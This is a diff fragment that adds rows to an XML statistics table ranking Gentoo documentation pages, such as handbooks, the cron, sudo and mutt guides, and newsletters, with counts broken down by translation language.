+<tr><ti>116.</ti><ti><uri link='/doc/en/handbook/2004.2/handbook-ppc.xml'>/doc/**/handbook/2004.2/handbook-ppc.xml</uri></ti><ti align='right'>17,782</ti><ti align='right'>12,917</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,592</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,344</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>929</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>117.</ti><ti><uri link='/doc/en/handbook/2004.2/handbook-mips.xml'>/doc/**/handbook/2004.2/handbook-mips.xml</uri></ti><ti align='right'>17,735</ti><ti align='right'>12,700</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,446</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,479</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,110</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>118.</ti><ti><uri link='/doc/en/handbook/2004.2/handbook-sparc.xml'>/doc/**/handbook/2004.2/handbook-sparc.xml</uri></ti><ti align='right'>17,365</ti><ti align='right'>12,926</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,527</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,021</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>891</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>119.</ti><ti><uri link='/doc/en/handbook/2004.2/handbook-alpha.xml'>/doc/**/handbook/2004.2/handbook-alpha.xml</uri></ti><ti align='right'>17,352</ti><ti align='right'>13,417</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,933</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,109</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>893</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>120.</ti><ti><uri link='/doc/en/cron-guide.xml'>/doc/**/cron-guide.xml</uri></ti><ti align='right'>16,148</ti><ti align='right'>8,359</ti><ti align='right'>1,109</ti><ti align='right'>1,011</ti><ti align='right'>1,262</ti><ti align='right'></ti><ti align='right'>589</ti><ti align='right'>2,029</ti><ti align='right'>1,043</ti><ti align='right'></ti><ti align='right'>238</ti><ti align='right'>223</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>100</ti><ti align='right'>185</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>121.</ti><ti><uri link='/doc/en/handbook/2004.2/handbook-hppa.xml'>/doc/**/handbook/2004.2/handbook-hppa.xml</uri></ti><ti align='right'>15,719</ti><ti align='right'>12,162</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,978</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>742</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>837</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>122.</ti><ti><uri link='/doc/en/sudo-guide.xml'>/doc/**/sudo-guide.xml</uri></ti><ti align='right'>15,660</ti><ti align='right'>6,219</ti><ti align='right'>2,081</ti><ti align='right'>3,258</ti><ti align='right'>615</ti><ti align='right'></ti><ti align='right'>1,037</ti><ti align='right'>1,136</ti><ti align='right'>681</ti><ti align='right'>364</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>70</ti><ti align='right'>199</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>123.</ti><ti><uri link='/doc/en/shoutcast-config.xml'>/doc/**/shoutcast-config.xml</uri></ti><ti align='right'>15,639</ti><ti align='right'>10,750</ti><ti align='right'>799</ti><ti align='right'>2,166</ti><ti align='right'>908</ti><ti align='right'></ti><ti align='right'>322</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>694</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>124.</ti><ti><uri link='/news/en/gmn/20080121-newsletter.xml'>/news/**/gmn/20080121-newsletter.xml</uri></ti><ti align='right'>15,382</ti><ti align='right'>14,283</ti><ti align='right'>218</ti><ti align='right'>361</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>188</ti><ti align='right'></ti><ti align='right'>186</ti><ti align='right'>146</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>125.</ti><ti><uri link='/proj/en/base/amd64/howtos/index.xml'>/proj/**/base/amd64/howtos/index.xml</uri></ti><ti align='right'>15,378</ti><ti align='right'>12,619</ti><ti align='right'>785</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>550</ti><ti align='right'>617</ti><ti align='right'>635</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>172</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>126.</ti><ti><uri link='/news/en/gmn/20080317-newsletter.xml'>/news/**/gmn/20080317-newsletter.xml</uri></ti><ti align='right'>15,298</ti><ti align='right'>14,901</ti><ti align='right'></ti><ti align='right'>144</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>109</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>144</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>127.</ti><ti><uri link='/doc/en/cvs-tutorial.xml'>/doc/**/cvs-tutorial.xml</uri></ti><ti align='right'>15,149</ti><ti align='right'>6,154</ti><ti align='right'>726</ti><ti align='right'>320</ti><ti align='right'>1,122</ti><ti align='right'>371</ti><ti align='right'>364</ti><ti align='right'>3,475</ti><ti align='right'>525</ti><ti align='right'>288</ti><ti align='right'></ti><ti align='right'>1,436</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>110</ti><ti align='right'>73</ti><ti align='right'>185</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>128.</ti><ti><uri link='/doc/en/handbook/2008.0/index.xml'>/doc/**/handbook/2008.0/index.xml</uri></ti><ti align='right'>15,023</ti><ti align='right'>11,450</ti><ti align='right'>998</ti><ti align='right'>330</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>723</ti><ti align='right'></ti><ti align='right'>359</ti><ti align='right'>1,163</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>129.</ti><ti><uri link='/doc/en/kde-split-ebuilds.xml'>/doc/**/kde-split-ebuilds.xml</uri></ti><ti align='right'>14,491</ti><ti align='right'>9,466</ti><ti align='right'>608</ti><ti align='right'>2,483</ti><ti align='right'>617</ti><ti align='right'></ti><ti align='right'>505</ti><ti align='right'>213</ti><ti align='right'>331</ti><ti align='right'></ti><ti align='right'>142</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>126</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>130.</ti><ti><uri link='/proj/en/userrel/soc/index.xml'>/proj/**/userrel/soc/index.xml</uri></ti><ti align='right'>14,467</ti><ti align='right'>14,467</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>131.</ti><ti><uri link='/proj/en/glep/index.xml'>/proj/**/glep/index.xml</uri></ti><ti align='right'>14,454</ti><ti align='right'>14,450</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>4</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>132.</ti><ti><uri link='/proj/en/keychain/index.xml'>/proj/**/keychain/index.xml</uri></ti><ti align='right'>14,231</ti><ti align='right'>14,231</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>133.</ti><ti><uri link='/doc/en/migration-to-2.6.xml'>/doc/**/migration-to-2.6.xml</uri></ti><ti align='right'>13,994</ti><ti align='right'>5,106</ti><ti align='right'>657</ti><ti align='right'>655</ti><ti align='right'>579</ti><ti align='right'></ti><ti align='right'>352</ti><ti align='right'>5,700</ti><ti align='right'>446</ti><ti align='right'>124</ti><ti align='right'>220</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>155</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>134.</ti><ti><uri link='/doc/en/handbook/handbook.xml'>/doc/**/handbook/handbook.xml</uri></ti><ti align='right'>13,980</ti><ti align='right'>12,413</ti><ti align='right'>227</ti><ti align='right'>202</ti><ti align='right'>278</ti><ti align='right'>273</ti><ti align='right'>119</ti><ti align='right'></ti><ti align='right'>354</ti><ti align='right'>3</ti><ti align='right'>3</ti><ti align='right'></ti><ti align='right'>10</ti><ti align='right'>36</ti><ti align='right'>44</ti><ti align='right'>3</ti><ti align='right'>10</ti><ti align='right'>5</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>135.</ti><ti><uri link='/doc/en/guide-to-mutt.xml'>/doc/**/guide-to-mutt.xml</uri></ti><ti align='right'>13,919</ti><ti align='right'>6,047</ti><ti align='right'>1,272</ti><ti align='right'>681</ti><ti align='right'>958</ti><ti align='right'>800</ti><ti align='right'>589</ti><ti align='right'>2,312</ti><ti align='right'>610</ti><ti align='right'>201</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>133</ti><ti align='right'>82</ti><ti align='right'>234</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>136.</ti><ti><uri link='/proj/en/hardened/index.xml'>/proj/**/hardened/index.xml</uri></ti><ti align='right'>13,609</ti><ti align='right'>13,579</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>30</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>137.</ti><ti><uri link='/proj/en/base/pam/upgrade-0.99.xml'>/proj/**/base/pam/upgrade-0.99.xml</uri></ti><ti align='right'>13,527</ti><ti align='right'>13,414</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>113</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>138.</ti><ti><uri link='/doc/en/ldap-howto.xml'>/doc/**/ldap-howto.xml</uri></ti><ti align='right'>12,967</ti><ti align='right'>9,271</ti><ti align='right'>1,100</ti><ti align='right'></ti><ti align='right'>1,140</ti><ti align='right'>634</ti><ti align='right'>19</ti><ti align='right'></ti><ti align='right'>650</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>153</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>139.</ti><ti><uri link='/doc/en/mailfilter-guide.xml'>/doc/**/mailfilter-guide.xml</uri></ti><ti align='right'>12,816</ti><ti align='right'>8,536</ti><ti align='right'>1,856</ti><ti align='right'></ti><ti align='right'>1,209</ti><ti align='right'></ti><ti align='right'>524</ti><ti align='right'></ti><ti align='right'>691</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>140.</ti><ti><uri link='/doc/en/gentoo-freebsd.xml'>/doc/**/gentoo-freebsd.xml</uri></ti><ti align='right'>12,555</ti><ti align='right'>8,504</ti><ti align='right'>1,251</ti><ti align='right'></ti><ti align='right'>1,293</ti><ti align='right'></ti><ti align='right'>766</ti><ti align='right'></ti><ti align='right'>553</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>188</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>141.</ti><ti><uri link='/doc/en/diskless-howto.xml'>/doc/**/diskless-howto.xml</uri></ti><ti align='right'>12,500</ti><ti align='right'>6,278</ti><ti align='right'>805</ti><ti align='right'></ti><ti align='right'>741</ti><ti align='right'></ti><ti align='right'>375</ti><ti align='right'>3,507</ti><ti align='right'>376</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>149</ti><ti align='right'>78</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>184</ti><ti align='right'></ti><ti align='right'>7</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>142.</ti><ti><uri link='/doc/en/gentoo-ppc-faq.xml'>/doc/**/gentoo-ppc-faq.xml</uri></ti><ti align='right'>12,498</ti><ti align='right'>7,880</ti><ti align='right'>663</ti><ti align='right'>12</ti><ti align='right'>796</ti><ti align='right'>785</ti><ti align='right'>877</ti><ti align='right'>707</ti><ti align='right'>567</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>112</ti><ti align='right'>99</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>143.</ti><ti><uri link='/news/en/gmn/20080424-newsletter.xml'>/news/**/gmn/20080424-newsletter.xml</uri></ti><ti align='right'>12,461</ti><ti align='right'>12,416</ti><ti align='right'></ti><ti align='right'>18</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>15</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>12</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>144.</ti><ti><uri link='/doc/en/articles/l-sed1.xml'>/doc/**/articles/l-sed1.xml</uri></ti><ti align='right'>12,208</ti><ti align='right'>4,250</ti><ti align='right'>4,162</ti><ti align='right'></ti><ti align='right'>1,834</ti><ti align='right'></ti><ti align='right'>1,036</ti><ti align='right'></ti><ti align='right'>926</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>145.</ti><ti><uri link='/doc/en/conky-howto.xml'>/doc/**/conky-howto.xml</uri></ti><ti align='right'>12,126</ti><ti align='right'>6,125</ti><ti align='right'>1,791</ti><ti align='right'>857</ti><ti align='right'>813</ti><ti align='right'></ti><ti align='right'>575</ti><ti align='right'>956</ti><ti align='right'>624</ti><ti align='right'>179</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>45</ti><ti align='right'>161</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>146.</ti><ti><uri link='/doc/en/prelink-howto.xml'>/doc/**/prelink-howto.xml</uri></ti><ti align='right'>12,125</ti><ti align='right'>5,681</ti><ti align='right'>481</ti><ti align='right'>578</ti><ti align='right'>534</ti><ti align='right'>656</ti><ti align='right'>282</ti><ti align='right'>3,031</ti><ti align='right'>313</ti><ti align='right'></ti><ti align='right'>99</ti><ti align='right'>200</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>87</ti><ti align='right'>32</ti><ti align='right'>82</ti><ti align='right'></ti><ti align='right'>69</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>147.</ti><ti><uri link='/news/20080401-release-beta1.xml'>/news/20080401-release-beta1.xml</uri></ti><ti align='right'>11,993</ti><ti align='right'>11,993</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>148.</ti><ti><uri link='/doc/en/qmail-howto.xml'>/doc/**/qmail-howto.xml</uri></ti><ti align='right'>11,730</ti><ti align='right'>6,566</ti><ti align='right'>857</ti><ti align='right'>995</ti><ti align='right'>1,042</ti><ti align='right'>823</ti><ti align='right'>535</ti><ti align='right'></ti><ti align='right'>589</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>210</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>113</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>149.</ti><ti><uri link='/proj/en/devrel/roll-call/devaway.xml'>/proj/**/devrel/roll-call/devaway.xml</uri></ti><ti align='right'>11,613</ti><ti align='right'>11,613</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>150.</ti><ti><uri link='/doc/en/gentoo-security.xml'>/doc/**/gentoo-security.xml</uri></ti><ti align='right'>11,502</ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>11,098</ti><ti align='right'>86</ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'>190</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>126</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>151.</ti><ti><uri link='/proj/en/php/php-upgrading.xml'>/proj/**/php/php-upgrading.xml</uri></ti><ti align='right'>11,318</ti><ti align='right'>5,862</ti><ti align='right'>943</ti><ti align='right'>1</ti><ti align='right'>1,235</ti><ti align='right'></ti><ti align='right'>776</ti><ti align='right'>939</ti><ti align='right'>769</ti><ti align='right'>460</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>333</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
